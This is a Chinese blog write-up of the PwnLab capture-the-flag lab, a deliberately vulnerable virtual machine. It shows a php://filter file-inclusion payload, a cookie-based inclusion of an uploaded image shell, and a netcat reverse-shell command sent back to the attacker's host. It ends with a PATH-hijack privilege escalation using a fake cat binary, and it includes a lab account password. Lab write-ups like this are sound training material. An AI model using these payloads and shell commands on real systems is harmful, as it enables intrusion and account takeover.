专栏首页晨星先生的自留地攻破VulnOS(3)之挑战PwnLad

攻破VulnOS(3)之挑战PwnLad

蛋疼的第三弹~~~,来了!

首先,安装完虚拟机,我们没有这个靶机的密码。也不知道ip,只能扫描一下内网或者探测了。

我在kali下用ipconfig看下我kali的地址,因为我的kali和靶机是同一个网卡。

然后再用 arp-scan 或者netdiscover扫描一下C类地址。

探测到,这个靶机的网址是101.

Ok大致的看一下,是自己写的一个cms。

我们用nmap进行半开扫描,nmap -sSVC -p-

发现了不少服务。

Apache 、mysql 、RPC

Ok,我们进一步在web页面收集信息。

发现,有login,upload,home等三个链接。

看到这串url是不是让你想起了,文件包含?因为虽然page这个是一个get参数,但是这里明显不可能是一个注入点。

假设我们这里的文件包含是这个代码:

Ok,那么我们为了进一步的信息探测,我们可以试试读取页面的源代码。

哈哈,用伪协议去爆出来:http://192.168.56.101/?page=php://filter/read=convert.base64-encode/resource=index

我们得到的base64加密后的源代码是:

PD9waHANCi8vTXVsdGlsaW5ndWFsLiBOb3QgaW1wbGVtZW50ZWyKew0KCWluY....xxxxx中间省略xxxxxx.....tbD4=

在下用小葵大杀器转换之,得:

这里我们发现了congig.php,我们同样去包含他。得到:

我们发现了他mysql数据库的用户密码。

经过一系列的操作,基础的sql查询语句我就不多说了。我们得到了下面这些信息:

发现数据库里面的pass是经过base64加密的。

我们前面包含登录框的时候也是base64加密的。哈哈,ok。我们解密玩

可以直接去登录了。

我们点击upload ,他说必须登录。那么我们有了之前的用户名,密码就可以直接登录。尝试上传木马,拿shell了。

这时候我们再次包含一下upload文件看看它有什么样的文件检测。同样base64转换之~

发现用白名单加上MIME加上重命名加上后缀名检测。基本上是无懈可击了。但是这里存在这文件包含,所以我就可以上传一个图片然后包含它。一句话?或者一个反弹shell的脚本!

然而我们这里发现包含文件的后缀名被固定死,用“?”截断?

哈哈,然而这里特殊的地方在于,

这里包含了一个cookie,又是一个包含漏洞。我们是不是可以通过抓包改包让cookie包含我们的图片shell呢?

用户:Kane pass: iSv5Ym2GRo 我们先登录。

先抓包上传我们的小马。

用cookie包含它,然后上传一个反弹shell的php马。

#Premier shell :

nc -l -p 1234

#Second shell :

curl http://192.168.56.101/upload/xxx.php?vaf=nc-c /bin/bash 192.168.56.102 1234

尝试用之前的用户登录,用VulnOS 挑战2的方法 python形成一个交互的shell。

我们发现了这个东西,用IDA静态分析,

代码的主要功能是非常明确的,二进制系统采用函数参数为:“cat/home/mike/msg.txt”

针对这种情况,我们可以通过设置bash的$path环境变量来利用,通常的$PATH包含

然而当我们调用cat命令的时候,cat会从以上目录来寻找,如果我们添加.到$PATH环境变量,则会先从当前目录来寻找cat指令:

新建cat,添加执行权限

kane@pwnlab:~$ echo "/bin/bash"> /tmp/cat

echo "/bin/bash" > /tmp/cat

kane@pwnlab:~$ chmod +x /tmp/cat

chmod +x /tmp/cat

kane@pwnlab:~$ PATH=/tmp:$PATH

PATH=/tmp:$PATH

kane@pwnlab:~$ ./msgmike

./msgmike

mike@pwnlab:~$ id

id

uid=1002(mike) gid=1002(mike)groups=1002(mike),1003(kane)

这样当我们再次运行./msgmike命令的时候,就会触发当前目录下的cat(/bin/sh),从而提权。

哈哈,ok。。几天没更新了。被论文搞傻的,这个是欠大家的~~~

本文分享自微信公众号 - 晨星先生(MoXuanIT),作者:vaf

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2016-12-16

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Docker入门教程(二)命令

    lonelyvaf
  • mysql注入高级篇3--报错注入

    lonelyvaf
  • 看zwell怎么带我解决方程式poc的bug

    lonelyvaf
  • 时间到底是什么

    与时间有关的东西永远都是那么神秘,哲学家思考时间的本质是什么;物理学家探究时间是否是单向线性的,时间旅行是不是可行的,时间到底是一个点,还是一个维度;神经学家不...

    信安本原
  • 聊聊Tomcat的架构设计

    Tomcat 是 Java WEB 开发接触最多的 Servlet 容器,但它不仅仅是一个 Servlet 容器,它还是一个 WEB 应用服务器,在微服务架构体...

    张乘辉
  • HT图形组件设计之道(三)

    上篇我们通过定制了CPU和内存展示界面,体验了HT for Web通过定义矢量实现图形绘制与业务数据的代码解耦及绑定联动,这类案例后续文章还会继续以便大家掌握更...

    HT for Web
  • 基于HTML5的WebGL应用内存泄露分析

    上篇我们通过定制了CPU和内存展示界面,体验了HT for Web通过定义矢量实现图形绘制与业务数据的代码解耦及绑定联动,这类案例后续文章还会继续以便大家掌握更...

    HT for Web
  • 基于HTML5的WebGL应用内存泄露分析

    HT_hightopo
  • HT图形组件设计之道(三)

    HT_hightopo
  • 动态链接库使用举例

    6.验证下so是不是动态加载的,只需要修改print.c中打印,改成printf("msg=%s/n", msg);,然后执行make -f makefile....

    王亚昌

扫码关注云+社区

领取腾讯云代金券